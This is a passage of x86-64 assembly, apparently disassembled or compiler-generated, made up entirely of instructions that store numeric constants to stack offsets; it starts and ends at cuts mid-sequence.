mov byte [rsp + 0x206], 2
movabs rax, 0x7ee0975bcb3b94
mov qword [rsp + 0x7110], rax
movabs rax, 0x7d3a82953d0f4c
mov qword [rsp + 0x7118], rax
movabs rax, 0x74d26ae7fdb397
mov qword [rsp + 0x7120], rax
movabs rax, 0x7a036d05075e28
mov qword [rsp + 0x7128], rax
movabs rax, 0x74947cab0c0f22
mov qword [rsp + 0x7130], rax
mov eax, 0xd5f
mov word [rsp + 0xfcc], ax
mov byte [rsp + 0x207], 0x89
mov eax, 0xa7
mov word [rsp + 0xfd0], ax
mov eax, 0xbc7
mov word [rsp + 0xfd4], ax
movabs rax, 0x704fda954376f2
mov qword [rsp + 0x7138], rax
mov dword [rsp + 0x385c], 0x1b71
movabs rax, 0x752b25181a17dc
mov qword [rsp + 0x7140], rax
movabs rax, 0x7c739d0eb157c3
mov qword [rsp + 0x7148], rax
mov eax, 0x6a2
mov word [rsp + 0xfd8], ax
mov byte [rsp + 0x208], 0x26
mov dword [rsp + 0x3860], 0xf40
movabs rax, 0x7e40f4394d6736
mov qword [rsp + 0x7150], rax
mov dword [rsp + 0x3864], 0x7683
mov dword [rsp + 0x3868], 0xad1
mov dword [rsp + 0x386c], 0x6334
mov dword [rsp + 0x3870], 0x5c31
mov dword [rsp + 0x3874], 0x8316
mov dword [rsp + 0x3878], 0x5ab0
mov byte [rsp + 0x209], 0xf7
mov dword [rsp + 0x387c], 0x6c99
mov dword [rsp + 0x3880], 0x6904
movabs rax, 0x7588c919e4e998
mov qword [rsp + 0x7158], rax
movabs rax, 0x7387e002e4de84
mov qword [rsp + 0x7160], rax
mov dword [rsp + 0x3884], 0x27f5
movabs rax, 0x79413c7ceebebe
mov qword [rsp + 0x7168], rax
mov eax, 0x482
mov word [rsp + 0xfdc], ax
mov dword [rsp + 0x3888], 0x555d
movabs rax, 0x7b38c918e3df05
mov qword [rsp + 0x7170], rax
mov eax, 0x46f
mov word [rsp + 0xfe0], ax
mov byte [rsp + 0x20a], 6
mov byte [rsp + 0x20b], 0x1d
movabs rax, 0x7a629265a83734
mov qword [rsp + 0x7178], rax
movabs rax, 0x734218937f1f4e
mov qword [rsp + 0x7180], rax
mov dword [rsp + 0x388c], 0x1605
movabs rax, 0x76bf5e945a3641
mov qword [rsp + 0x7188], rax
mov byte [rsp + 0x20c], 0x40
movabs rax, 0x7b3ebfb3d50843
mov qword [rsp + 0x7190], rax
mov dword [rsp + 0x3890], 0x3f81
movabs rax, 0x731c5dfe572844
mov qword [rsp + 0x7198], rax
mov eax, 0x686
mov word [rsp + 0xfe4], ax
movabs rax, 0x78248205813bea
mov qword [rsp + 0x71a0], rax
mov byte [rsp + 0x20d], 0x24
movabs rax, 0x7089218d854196
mov qword [rsp + 0x71a8], rax
mov dword [rsp + 0x3894], 0x4015
mov eax, 0x78e
mov word [rsp + 0xfe8], ax
mov eax, 0x205
mov word [rsp + 0xfec], ax
mov dword [rsp + 0x3898], 0x7efa
movabs rax, 0x70390b0cbebc6f
mov qword [rsp + 0x71b0], rax
mov eax, 0x1c9
mov word [rsp + 0xff0], ax
movabs rax, 0x7011a20544f827
mov qword [rsp + 0x71b8], rax
mov eax, 8
mov word [rsp + 0xff4], ax
mov byte [rsp + 0x20e], 0x17
mov dword [rsp + 0x389c], 0xe4a1
mov dword [rsp + 0x38a0], 0x54a
movabs rax, 0x78408062efb37b
mov qword [rsp + 0x71c0], rax
mov eax, 0x224
mov word [rsp + 0xff8], ax
mov eax, 0x4b7
mov word [rsp + 0xffc], ax
mov eax, 0x6b8
mov word [rsp + 0x1000], ax
mov dword [rsp + 0x38a4], 0x2120
mov byte [rsp + 0x20f], 0x48
movabs rax, 0x73781e8aa2a6e1
mov qword [rsp + 0x71c8], rax
mov eax, 0x745
mov word [rsp + 0x1004], ax
mov dword [rsp + 0x38a8], 0x652d
mov eax, 0x64e
mov word [rsp + 0x1008], ax
mov byte [rsp + 0x210], 0x2e
mov dword [rsp + 0x38ac], 0x43cc
mov byte [rsp + 0x211], 0xac
mov eax, 0x35e
mov word [rsp + 0x100c], ax
mov eax, 0x6ae
mov word [rsp + 0x1010], ax
movabs rax, 0x73683454e1323d
mov qword [rsp + 0x71d0], rax
movabs rax, 0x7162ad2e3eb57f
mov qword [rsp + 0x71d8], rax
mov dword [rsp + 0x38b0], 0x5208
mov byte [rsp + 0x212], 0xca
mov byte [rsp + 0x213], 0x2b
mov dword [rsp + 0x38b4], 0x99f7
mov eax, 0xf5d
mov word [rsp + 0x1014], ax
mov dword [rsp + 0x38b8], 0x6a3c
movabs rax, 0x73d5088e1d183c
mov qword [rsp + 0x71e0], rax
movabs rax, 0x7e341e40a83b0b
mov qword [rsp + 0x71e8], rax
movabs rax, 0x72adb3f061f003
mov qword [rsp + 0x71f0], rax
mov dword [rsp + 0x38bc], 0x4cd3
movabs rax, 0x75333b07c63016
mov qword [rsp + 0x71f8], rax
movabs rax, 0x7179d5af493d86
mov qword [rsp + 0x7200], rax
movabs rax, 0x7e2f7b23f18c99
mov qword [rsp + 0x7208], rax
mov eax, 0x4d9
mov word [rsp + 0x1018], ax
mov byte [rsp + 0x214], 0xfa
mov dword [rsp + 0x38c0], 0x7eee
mov eax, 0x53e
mov word [rsp + 0x101c], ax
mov eax, 0x409
mov word [rsp + 0x1020], ax
movabs rax, 0x711d67bea7c063
mov qword [rsp + 0x7210], rax
mov eax, 0xbab
mov word [rsp + 0x1024], ax
mov dword [rsp + 0x38c4], 0x555c
mov eax, 0x1b0
mov word [rsp + 0x1028], ax
movabs rax, 0x7eaecc4b39f440
mov qword [rsp + 0x7218], rax
movabs rax, 0x78da646eec4148
mov qword [rsp + 0x7220], rax
mov byte [rsp + 0x215], 0x72
movabs rax, 0x7770ded6bd0b91
mov qword [rsp + 0x7228], rax
movabs rax, 0x7cf64a871c0689
mov qword [rsp + 0x7230], rax
mov eax, 0x425
mov word [rsp + 0x102c], ax
mov dword [rsp + 0x38c8], 0x1e30
mov eax, 0x3ca
mov word [rsp + 0x1030], ax
mov byte [rsp + 0x216], 0xe
movabs rax, 0x74d68150d8cf82
mov qword [rsp + 0x7238], rax
mov dword [rsp + 0x38cc], 0x2a8c
mov dword [rsp + 0x38d0], 0x94eb
movabs rax, 0x79021e0f61eeeb
mov qword [rsp + 0x7240], rax
mov eax, 0x59f
mov word [rsp + 0x1034], ax
mov dword [rsp + 0x38d4], 0x1f92
movabs rax, 0x7ac41a4a88d42d
mov qword [rsp + 0x7248], rax
mov eax, 0xed6
mov word [rsp + 0x1038], ax
mov dword [rsp + 0x38d8], 0x227
movabs rax, 0x777fbf31f0646e
mov qword [rsp + 0x7250], rax
mov dword [rsp + 0x38dc], 0xf013
mov byte [rsp + 0x217], 0xb6
mov eax, 0x125
mov word [rsp + 0x103c], ax
movabs rax, 0x78aeacd3bfd431
mov qword [rsp + 0x7258], rax
mov dword [rsp + 0x38e0], 0x68da
mov byte [rsp + 0x218], 0x14
mov dword [rsp + 0x38e4], 0xfe00
movabs rax, 0x7d5513fd7f3592
mov qword [rsp + 0x7260], rax
mov dword [rsp + 0x38e8], 0x738f
mov eax, 0xf77
mov word [rsp + 0x1040], ax
mov byte [rsp + 0x219], 0x7d
movabs rax, 0x7a0c503fc10327
mov qword [rsp + 0x7268], rax
movabs rax, 0x728f091e92d08c
mov qword [rsp + 0x7270], rax
mov dword [rsp + 0x38ec], 0x799c
movabs rax, 0x7d15ec77355800
mov qword [rsp + 0x7278], rax
mov dword [rsp + 0x38f0], 0xd7d9
movabs rax, 0x71ea6bff9000fc
mov qword [rsp + 0x7280], rax
mov byte [rsp + 0x21a], 0xda
mov eax, 0xdfb
mov word [rsp + 0x1044], ax
mov dword [rsp + 0x38f4], 0x3c29
movabs rax, 0x7e1aead99eb8f4
mov qword [rsp + 0x7288], rax
mov eax, 0xbe1
mov word [rsp + 0x1048], ax
movabs rax, 0x78420fb4d39647
mov qword [rsp + 0x7290], rax
mov eax, 0x581
mov word [rsp + 0x104c], ax
movabs rax, 0x7994464ab870c1
mov qword [rsp + 0x7298], rax
mov eax, 0x111
mov word [rsp + 0x1050], ax
mov eax, 0x39a
mov word [rsp + 0x1054], ax
movabs rax, 0x7eaa6eda81afe7
mov qword [rsp + 0x72a0], rax
mov dword [rsp + 0x38f8], 0x7531
mov eax, 0x14a
mov word [rsp + 0x1058], ax
mov eax, 0x33e
mov word [rsp + 0x105c], ax
movabs rax, 0x7903af0f83ccdd
mov qword [rsp + 0x72a8], rax
mov eax, 0x1c6
mov word [rsp + 0x1060], ax
mov dword [rsp + 0x38fc], 0x3217
mov dword [rsp + 0x3900], 0x1fc5
mov byte [rsp + 0x21b], 0x66
mov dword [rsp + 0x3904], 0x847f
mov byte [rsp + 0x21c], 0x3b
mov dword [rsp + 0x3908], 0x5224
mov byte [rsp + 0x21d], 0
movabs rax, 0x75b0ead711dc95
mov qword [rsp + 0x72b0], rax
mov dword [rsp + 0x390c], 0x5441
movabs rax, 0x77575cf67026fd
mov qword [rsp + 0x72b8], rax
movabs rax, 0x7c1b97c8d45c30
mov qword [rsp + 0x72c0], rax
movabs rax, 0x78c1f125c45b06
mov qword [rsp + 0x72c8], rax
mov byte [rsp + 0x21e], 0x97
mov eax, 0x77
mov word [rsp + 0x1064], ax
mov dword [rsp + 0x3910], 0xd5d
mov dword [rsp + 0x3914], 0xa874
mov eax, 0x4df
mov word [rsp + 0x1068], ax
mov dword [rsp + 0x3918], 0x6986
mov dword [rsp + 0x391c], 0x7238
mov eax, 0xe48
mov word [rsp + 0x106c], ax
mov byte [rsp + 0x21f], 0x6e
mov dword [rsp + 0x3920], 0x5d1b
movabs rax, 0x7b8f5a05b9b4b2
mov qword [rsp + 0x72d0], rax
mov dword [rsp + 0x3924], 0x7df3
mov byte [rsp + 0x220], 0x2b
movabs rax, 0x76e16f12d19fd4
mov qword [rsp + 0x72d8], rax
mov dword [rsp + 0x3928], 0x6f7
mov eax, 0x5c4
mov word [rsp + 0x1070], ax
movabs rax, 0x7688b0646dd4b6
mov qword [rsp + 0x72e0], rax
mov eax, 0x9e7
mov word [rsp + 0x1074], ax
movabs rax, 0x70950645e66195
mov qword [rsp + 0x72e8], rax
mov dword [rsp + 0x392c], 0x287a
mov dword [rsp + 0x3930], 0xf1c4
mov byte [rsp + 0x221], 0x22
mov byte [rsp + 0x222], 0x4f
movabs rax, 0x73870ee15e7ddd
mov qword [rsp + 0x72f0], rax
mov byte [rsp + 0x223], 0xb0
mov eax, 0x5fe
mov word [rsp + 0x1078], ax
mov eax, 0x445
mov word [rsp + 0x107c], ax
mov dword [rsp + 0x3934], 0x8e6
mov dword [rsp + 0x3938], 0x7736
mov dword [rsp + 0x393c], 0x717a
mov byte [rsp + 0x224], 0xd0
mov byte [rsp + 0x225], 0x30
mov eax, 0x5ea
mov word [rsp + 0x1080], ax
mov dword [rsp + 0x3940], 0x1d48
mov byte [rsp + 0x226], 0x1b
movabs rax, 0x79881031d93b6f
mov qword [rsp + 0x72f8], rax
mov eax, 0xd9f
mov word [rsp + 0x1084], ax
mov byte [rsp + 0x227], 8
movabs rax, 0x7a0414aafa01eb
mov qword [rsp + 0x7300], rax
movabs rax, 0x753762c12ce114
mov qword [rsp + 0x7308], rax
movabs rax, 0x7b520b85ba61e1
mov qword [rsp + 0x7310], rax
mov dword [rsp + 0x3944], 0x8c2
mov byte [rsp + 0x228], 0x28
mov byte [rsp + 0x229], 0x5e
mov eax, 0x709
mov word [rsp + 0x1088], ax
mov byte [rsp + 0x22a], 4
mov byte [rsp + 0x22b], 0x3d
mov dword [rsp + 0x3948], 0x9b7
mov dword [rsp + 0x394c], 0xa307
movabs rax, 0x754c21a25496ce
mov qword [rsp + 0x7318], rax
movabs rax, 0x7eb6d1db7e8829
mov qword [rsp + 0x7320], rax
movabs rax, 0x7103db9f41c645
mov qword [rsp + 0x7328], rax
movabs rax, 0x7e066ff719b509
mov qword [rsp + 0x7330], rax
movabs rax, 0x791099a330fec5
mov qword [rsp + 0x7338], rax
mov eax, 0xa42
mov word [rsp + 0x108c], ax
mov byte [rsp + 0x22c], 9
mov dword [rsp + 0x3950], 0x7c32
mov eax, 0xef8
mov word [rsp + 0x1090], ax
mov dword [rsp + 0x3954], 0x34d8
mov eax, 0x66a
mov word [rsp + 0x1094], ax
movabs rax, 0x75224803fe2a73
mov qword [rsp + 0x7340], rax
movabs rax, 0x74732ec4a9ddd8
mov qword [rsp + 0x7348], rax
mov byte [rsp + 0x22d], 0x79
movabs rax, 0x71b5d706bd7cb6
mov qword [rsp + 0x7350], rax
mov dword [rsp + 0x3958], 0x2ba8
mov byte [rsp + 0x22e], 0x5f
mov eax, 0xa0a
mov word [rsp + 0x1098], ax
mov dword [rsp + 0x395c], 0x72a2
mov dword [rsp + 0x3960], 0x5a17
movabs rax, 0x79149085ca7f8d
mov qword [rsp + 0x7358], rax
mov dword [rsp + 0x3964], 0x546a
mov byte [rsp + 0x22f], 0x43
movabs rax, 0x7b36ceca2a6460
mov qword [rsp + 0x7360], rax
movabs rax, 0x7bb35ed98c0f0a
mov qword [rsp + 0x7368], rax
mov dword [rsp + 0x3968], 0x12db
movabs rax, 0x7aa941ce8e2ec0
mov qword [rsp + 0x7370], rax
movabs rax, 0x73cd570d49e6fb
mov qword [rsp + 0x7378], rax
mov dword [rsp + 0x396c], 0x2d57
mov eax, 0x775
mov word [rsp + 0x109c], ax
mov byte [rsp + 0x230], 0x27
mov dword [rsp + 0x3970], 0x6c9f
mov eax, 0x6dc
mov word [rsp + 0x10a0], ax
mov dword [rsp + 0x3974], 0xe1d9
mov dword [rsp + 0x3978], 0x1b00
mov byte [rsp + 0x231], 0xec
movabs rax, 0x76a324c853e0a2
mov qword [rsp + 0x7380], rax
movabs rax, 0x7bb4e05d494971
mov qword [rsp + 0x7388], rax
mov eax, 0x509
mov word [rsp + 0x10a4], ax
movabs rax, 0x7e840567443556
mov qword [rsp + 0x7390], rax
movabs rax, 0x74e7df5f1bd843
mov qword [rsp + 0x7398], rax
movabs rax, 0x71b81e2f10bb4b
mov qword [rsp + 0x73a0], rax
movabs rax, 0x77cd7fcce78016
mov qword [rsp + 0x73a8], rax
mov byte [rsp + 0x232], 2
mov byte [rsp + 0x233], 0xc0
mov byte [rsp + 0x234], 0x24
movabs rax, 0x74749ccaebb654
mov qword [rsp + 0x73b0], rax
mov byte [rsp + 0x235], 0x5a
mov byte [rsp + 0x236], 0x1d
movabs rax, 0x70b267845ec3d6
mov qword [rsp + 0x73b8], rax
mov byte [rsp + 0x237], 9
movabs rax, 0x753e69e6b9a77a
mov qword [rsp + 0x73c0], rax
mov eax, 0x722
mov word [rsp + 0x10a8], ax
mov eax, 0x37b
mov word [rsp + 0x10ac], ax
movabs rax, 0x7525e11c96c02d
mov qword [rsp + 0x73c8], rax
mov dword [rsp + 0x397c], 0x4ef6
mov eax, 0xbcb
mov word [rsp + 0x10b0], ax
mov eax, 0xa1
mov word [rsp + 0x10b4], ax
movabs rax, 0x711940b054741f
mov qword [rsp + 0x73d0], rax
mov dword [rsp + 0x3980], 0x3ad0
mov byte [rsp + 0x238], 0x25
mov eax, 0x6f7
mov word [rsp + 0x10b8], ax
mov dword [rsp + 0x3984], 0xe49b
movabs rax, 0x7ed12241a27b01
mov qword [rsp + 0x73d8], rax
mov dword [rsp + 0x3988], 0x8d86
movabs rax, 0x708da4e1c4673b
mov qword [rsp + 0x73e0], rax
movabs rax, 0x72b18c4de3fc75
mov qword [rsp + 0x73e8], rax
mov dword [rsp + 0x398c], 0xb8f6
mov eax, 0x4d6
mov word [rsp + 0x10bc], ax
movabs rax, 0x7bbeeb5c217a34
mov qword [rsp + 0x73f0], rax
mov eax, 0x209
mov word [rsp + 0x10c0], ax
mov byte [rsp + 0x239], 0x67
mov byte [rsp + 0x23a], 0x28
mov eax, 0x6c9
mov word [rsp + 0x10c4], ax
mov byte [rsp + 0x23b], 0x22
mov eax, 0x794
mov word [rsp + 0x10c8], ax
mov eax, 0x32a
mov word [rsp + 0x10cc], ax
mov dword [rsp + 0x3990], 0x5e02
mov dword [rsp + 0x3994], 0x3d77
mov eax, 0x541
mov word [rsp + 0x10d0], ax
movabs rax, 0x74a131fa0cfeea
mov qword [rsp + 0x73f8], rax
mov dword [rsp + 0x3998], 0xa76
mov dword [rsp + 0x399c], 0x5784
mov byte [rsp + 0x23c], 0x34
mov dword [rsp + 0x39a0], 0x5f7f
mov eax, 0x54
mov word [rsp + 0x10d4], ax
movabs rax, 0x7d56fb8f0c9581
mov qword [rsp + 0x7400], rax
mov dword [rsp + 0x39a4], 0xda16
mov eax, 0x3db
mov word [rsp + 0x10d8], ax
mov dword [rsp + 0x39a8], 0x65de
mov byte [rsp + 0x23d], 0x1c
mov dword [rsp + 0x39ac], 0x3863
movabs rax, 0x76ff7edb3509b3
mov qword [rsp + 0x7408], rax
movabs rax, 0x7513cfac2d02c6
mov qword [rsp + 0x7410], rax
mov dword [rsp + 0x39b0], 0x3573
movabs rax, 0x7be745acca511e
mov qword [rsp + 0x7418], rax
mov dword [rsp + 0x39b4], 0x2300
mov eax, 0x120
mov word [rsp + 0x10dc], ax
mov dword [rsp + 0x39b8], 0x76c6
mov byte [rsp + 0x23e], 0x64
movabs rax, 0x7b3ef2181797e8
mov qword [rsp + 0x7420], rax
mov eax, 0x44e
mov word [rsp + 0x10e0], ax
mov eax, 0x557
mov word [rsp + 0x10e4], ax
movabs rax, 0x71acfe5da6bc28
mov qword [rsp + 0x7428], rax
movabs rax, 0x780239abc70628
mov qword [rsp + 0x7430], rax
movabs rax, 0x75bc9d19d2ed0b
mov qword [rsp + 0x7438], rax
mov dword [rsp + 0x39bc], 0x6900
mov eax, 0x461
mov word [rsp + 0x10e8], ax
mov eax, 0x7b3
mov word [rsp + 0x10ec], ax
mov byte [rsp + 0x23f], 0xd8
movabs rax, 0x7b832506c999cf
mov qword [rsp + 0x7440], rax
mov dword [rsp + 0x39c0], 0x4af5
movabs rax, 0x7d0cf42cec244d
mov qword [rsp + 0x7448], rax
mov dword [rsp + 0x39c4], 0x4040
mov eax, 0x716
mov word [rsp + 0x10f0], ax
mov eax, 0x5c0
mov word [rsp + 0x10f4], ax
movabs rax, 0x750701980bea40
mov qword [rsp + 0x7450], rax
mov eax, 0x3e0
mov word [rsp + 0x10f8], ax
movabs rax, 0x72e5fa8456f100
mov qword [rsp + 0x7458], rax
mov dword [rsp + 0x39c8], 0xad9
mov dword [rsp + 0x39cc], 0x37e2
mov dword [rsp + 0x39d0], 0x6c2d
mov eax, 0x53
mov word [rsp + 0x10fc], ax
mov eax, 0xbe2
mov word [rsp + 0x1100], ax
mov eax, 0xcd2
mov word [rsp + 0x1104], ax
mov dword [rsp + 0x39d4], 0xccce
mov eax, 0x37a
mov word [rsp + 0x1108], ax
movabs rax, 0x7e04139959bf2e
mov qword [rsp + 0x7460], rax
mov dword [rsp + 0x39d8], 0xcaa
mov eax, 0x208
mov word [rsp + 0x110c], ax
mov byte [rsp + 0x240], 0x14
mov dword [rsp + 0x39dc], 0xe1a7
mov dword [rsp + 0x39e0], 0x3bd5
mov byte [rsp + 0x241], 0x42
mov dword [rsp + 0x39e4], 0x7163
movabs rax, 0x7eb7be19986c70
mov qword [rsp + 0x7468], rax
mov byte [rsp + 0x242], 0x5c
mov eax, 0x38a
mov word [rsp + 0x1110], ax
movabs rax, 0x75a0f145f4643d
mov qword [rsp + 0x7470], rax
mov byte [rsp + 0x243], 0x7b
mov eax, 0x206
mov word [rsp + 0x1114], ax
mov dword [rsp + 0x39e8], 0x1fae
movabs rax, 0x75ec3b6f141214
mov qword [rsp + 0x7478], rax
mov eax, 0x5ce
mov word [rsp + 0x1118], ax
movabs rax, 0x7ac8d8fabd8f14
mov qword [rsp + 0x7480], rax
mov dword [rsp + 0x39ec], 0x91a3
movabs rax, 0x7e1ed5b6442a28
mov qword [rsp + 0x7488], rax
movabs rax, 0x7c01bf5b3822b9
mov qword [rsp + 0x7490], rax
movabs rax, 0x76882007a48023
mov qword [rsp + 0x7498], rax
mov eax, 0x283
mov word [rsp + 0x111c], ax
mov byte [rsp + 0x244], 0x70
mov dword [rsp + 0x39f0], 0x9f9f
mov dword [rsp + 0x39f4], 0x39bc
mov eax, 0x9ab
mov word [rsp + 0x1120], ax
mov dword [rsp + 0x39f8], 0x4890
mov dword [rsp + 0x39fc], 0x53b3
mov dword [rsp + 0x3a00], 0xf310
mov eax, 0x655
mov word [rsp + 0x1124], ax
mov eax, 0x89
mov word [rsp + 0x1128], ax
movabs rax, 0x7cbc4865e819cb
mov qword [rsp + 0x74a0], rax
mov eax, 0x83d
mov word [rsp + 0x112c], ax
movabs rax, 0x73a62fa66e1826
mov qword [rsp + 0x74a8], rax
mov eax, 0x16b
mov word [rsp + 0x1130], ax
movabs rax, 0x74f4e15c8a947e
mov qword [rsp + 0x74b0], rax
mov dword [rsp + 0x3a04], 0x55f9
movabs rax, 0x70962b5d35ca2b
mov qword [rsp + 0x74b8], rax
mov eax, 0x42
mov word [rsp + 0x1134], ax
mov byte [rsp + 0x245], 0x41
movabs rax, 0x7728756e6de018
mov qword [rsp + 0x74c0], rax
mov byte [rsp + 0x246], 0x2b
mov eax, 0x2d6
mov word [rsp + 0x1138], ax
mov eax, 0xe50
mov word [rsp + 0x113c], ax
mov dword [rsp + 0x3a08], 0xfe4
mov eax, 0x705
mov word [rsp + 0x1140], ax
mov dword [rsp + 0x3a0c], 0x12d3
mov dword [rsp + 0x3a10], 0x5a34
movabs rax, 0x7e86e85dafd86d
mov qword [rsp + 0x74c8], rax
movabs rax, 0x753205536fc6d3
mov qword [rsp + 0x74d0], rax
movabs rax, 0x765c87ac491d01
mov qword [rsp + 0x74d8], rax
mov eax, 0x334
mov word [rsp + 0x1144], ax
mov byte [rsp + 0x247], 0x3e
mov eax, 0x77e
mov word [rsp + 0x1148], ax
mov eax, 0x2ca
mov word [rsp + 0x114c], ax
mov eax, 0x178
mov word [rsp + 0x1150], ax
mov byte [rsp + 0x248], 0x2f
movabs rax, 0x75671dc4634ac8
mov qword [rsp + 0x74e0], rax
mov eax, 0xa7c
mov word [rsp + 0x1154], ax
movabs rax, 0x79fcf5f20ba960
mov qword [rsp + 0x74e8], rax
mov eax, 0x28b
mov word [rsp + 0x1158], ax
mov eax, 0x571
mov word [rsp + 0x115c], ax
mov byte [rsp + 0x249], 0x46
mov eax, 0xaee
mov word [rsp + 0x1160], ax
movabs rax, 0x7e000fffda9003
mov qword [rsp + 0x74f0], rax
mov dword [rsp + 0x3a14], 0x2b4c
mov eax, 0x4fe
mov word [rsp + 0x1164], ax
movabs rax, 0x78b6fbe653e082
mov qword [rsp + 0x74f8], rax
movabs rax, 0x7eeb36c555ffdf
mov qword [rsp + 0x7500], rax
movabs rax, 0x713997abf6ad41
mov qword [rsp + 0x7508], rax
mov byte [rsp + 0x24a], 0x1d
mov dword [rsp + 0x3a18], 0x68ee
mov byte [rsp + 0x24b], 0xe6
movabs rax, 0x72fcbac8a3d733
mov qword [rsp + 0x7510], rax
mov dword [rsp + 0x3a1c], 0x37b
mov byte [rsp + 0x24c], 0xdd
mov byte [rsp + 0x24d], 0x75
movabs rax, 0x71852dea8702e7
mov qword [rsp + 0x7518], rax
mov eax, 0xf43
mov word [rsp + 0x1168], ax
mov dword [rsp + 0x3a20], 0x45fa
movabs rax, 0x723e2ce7ecae0f
mov qword [rsp + 0x7520], rax
movabs rax, 0x7222a02d509079
mov qword [rsp + 0x7528], rax
mov eax, 0x4c4
mov word [rsp + 0x116c], ax
mov eax, 0x384
mov word [rsp + 0x1170], ax
movabs rax, 0x7bfc8a8f0c870d
mov qword [rsp + 0x7530], rax
movabs rax, 0x7ca9347c9d9d85
mov qword [rsp + 0x7538], rax
movabs rax, 0x73289d8e7b5dff
mov qword [rsp + 0x7540], rax
mov byte [rsp + 0x24e], 0x37
mov eax, 0xcb2
mov word [rsp + 0x1174], ax
mov eax, 0x451
mov word [rsp + 0x1178], ax
movabs rax, 0x71ae6b5502c569
mov qword [rsp + 0x7548], rax
movabs rax, 0x73c5153b6f9677
mov qword [rsp + 0x7550], rax
movabs rax, 0x704aef3762b7a8
mov qword [rsp + 0x7558], rax
mov eax, 0xe4
mov word [rsp + 0x117c], ax
mov dword [rsp + 0x3a24], 0x2a8b
movabs rax, 0x7bfac01ce2f8ed
mov qword [rsp + 0x7560], rax
mov eax, 0x484
mov word [rsp + 0x1180], ax
mov eax, 0xcd3
mov word [rsp + 0x1184], ax
mov eax, 0x10d
mov word [rsp + 0x1188], ax
mov dword [rsp + 0x3a28], 0x201d
mov byte [rsp + 0x24f], 0xf3
mov eax, 0xd76
mov word [rsp + 0x118c], ax
mov byte [rsp + 0x250], 3
mov eax, 0x7af
mov word [rsp + 0x1190], ax
movabs rax, 0x7bd84ec2bcbb7a
mov qword [rsp + 0x7568], rax
mov byte [rsp + 0x251], 0x6a
mov dword [rsp + 0x3a2c], 0x745c
mov dword [rsp + 0x3a30], 0xdbb4
mov eax, 0x128
mov word [rsp + 0x1194], ax
mov dword [rsp + 0x3a34], 0x5f16
mov dword [rsp + 0x3a38], 0x3831
mov eax, 0x7b
mov word [rsp + 0x1198], ax
mov dword [rsp + 0x3a3c], 0x1899
mov dword [rsp + 0x3a40], 0x9502
movabs rax, 0x734faef7e418f4
mov qword [rsp + 0x7570], rax
movabs rax, 0x78d5135c963181
mov qword [rsp + 0x7578], rax
mov dword [rsp + 0x3a44], 0x5b3f
mov dword [rsp + 0x3a48], 0xe14c
mov dword [rsp + 0x3a4c], 0x6a4f
movabs rax, 0x708f08fdf83145
mov qword [rsp + 0x7580], rax
mov eax, 0x6a6
mov word [rsp + 0x119c], ax
movabs rax, 0x791a36c72f3703
mov qword [rsp + 0x7588], rax
mov eax, 0x468
mov word [rsp + 0x11a0], ax
mov eax, 0x67e
mov word [rsp + 0x11a4], ax
mov dword [rsp + 0x3a50], 0x35e7
mov byte [rsp + 0x252], 0x49
mov dword [rsp + 0x3a54], 0x78e4
mov byte [rsp + 0x253], 4
mov eax, 0xbe9
mov word [rsp + 0x11a8], ax
mov eax, 0x36b
mov word [rsp + 0x11ac], ax
movabs rax, 0x750d4936b0c17b
mov qword [rsp + 0x7590], rax
movabs rax, 0x706c3e2577acc5
mov qword [rsp + 0x7598], rax
mov eax, 0xba
mov word [rsp + 0x11b0], ax
mov eax, 0x621
mov word [rsp + 0x11b4], ax
mov eax, 0xb99
mov word [rsp + 0x11b8], ax
movabs rax, 0x775f7752826d9e
mov qword [rsp + 0x75a0], rax
mov byte [rsp + 0x254], 0xd1
movabs rax, 0x7e16a37ae1d8af
mov qword [rsp + 0x75a8], rax
mov dword [rsp + 0x3a58], 0x1020
movabs rax, 0x740540ab1be9b4
mov qword [rsp + 0x75b0], rax
movabs rax, 0x73d099e3e6eafd
mov qword [rsp + 0x75b8], rax
mov byte [rsp + 0x255], 0x3a
mov eax, 0x457
mov word [rsp + 0x11bc], ax
mov dword [rsp + 0x3a5c], 0x2dec
movabs rax, 0x7084eadbd79172
mov qword [rsp + 0x75c0], rax
movabs rax, 0x766bdbff510f96
mov qword [rsp + 0x75c8], rax
mov eax, 0x712
mov word [rsp + 0x11c0], ax
mov byte [rsp + 0x256], 0x4f
mov eax, 0x7ef
mov word [rsp + 0x11c4], ax
mov eax, 0x50f
mov word [rsp + 0x11c8], ax
mov dword [rsp + 0x3a60], 0xdac6
movabs rax, 0x799faeb72b901e
mov qword [rsp + 0x75d0], rax
mov eax, 0x4ac
mov word [rsp + 0x11cc], ax
mov dword [rsp + 0x3a64], 0xd64
mov dword [rsp + 0x3a68], 0x291c
mov eax, 0x477
mov word [rsp + 0x11d0], ax
mov byte [rsp + 0x257], 0x7b
mov dword [rsp + 0x3a6c], 0xcc2c
mov eax, 0x4cd
mov word [rsp + 0x11d4], ax
mov dword [rsp + 0x3a70], 0x3564
mov dword [rsp + 0x3a74], 0xdc9
mov eax, 0xdd2
mov word [rsp + 0x11d8], ax
mov eax, 0x68
mov word [rsp + 0x11dc], ax
mov dword [rsp + 0x3a78], 0x597f
mov dword [rsp + 0x3a7c], 0x18d9
movabs rax, 0x70709cc9dca3b5
mov qword [rsp + 0x75d8], rax
mov byte [rsp + 0x258], 0x24
movabs rax, 0x756289881df9ad
mov qword [rsp + 0x75e0], rax
movabs rax, 0x794d274fbbc3cf
mov qword [rsp + 0x75e8], rax
mov dword [rsp + 0x3a80], 0x732b
mov eax, 0x4db
mov word [rsp + 0x11e0], ax
mov eax, 4
mov word [rsp + 0x11e4], ax
movabs rax, 0x793d42aafeabfa
mov qword [rsp + 0x75f0], rax
mov dword [rsp + 0x3a84], 0xe74f
mov byte [rsp + 0x259], 0x39
mov dword [rsp + 0x3a88], 0xd6ab
mov dword [rsp + 0x3a8c], 0x5400
movabs rax, 0x79d21526b2e91a
mov qword [rsp + 0x75f8], rax
movabs rax, 0x755594a0a7c770
mov qword [rsp + 0x7600], rax
mov dword [rsp + 0x3a90], 0x70
movabs rax, 0x731cbac5fcfe1c
mov qword [rsp + 0x7608], rax
mov eax, 0x18a
mov word [rsp + 0x11e8], ax
movabs rax, 0x714741a5b33bf3
mov qword [rsp + 0x7610], rax
mov eax, 0x729
mov word [rsp + 0x11ec], ax
movabs rax, 0x770b11cc7f7a2e
mov qword [rsp + 0x7618], rax
movabs rax, 0x7169349d6129d3
mov qword [rsp + 0x7620], rax
movabs rax, 0x79390fab5cd944
mov qword [rsp + 0x7628], rax
mov eax, 0x673
mov word [rsp + 0x11f0], ax
mov dword [rsp + 0x3a94], 0x9c72
movabs rax, 0x7cefbc61f646b0
mov qword [rsp + 0x7630], rax
mov eax, 0x4b8
mov word [rsp + 0x11f4], ax
mov eax, 0x92
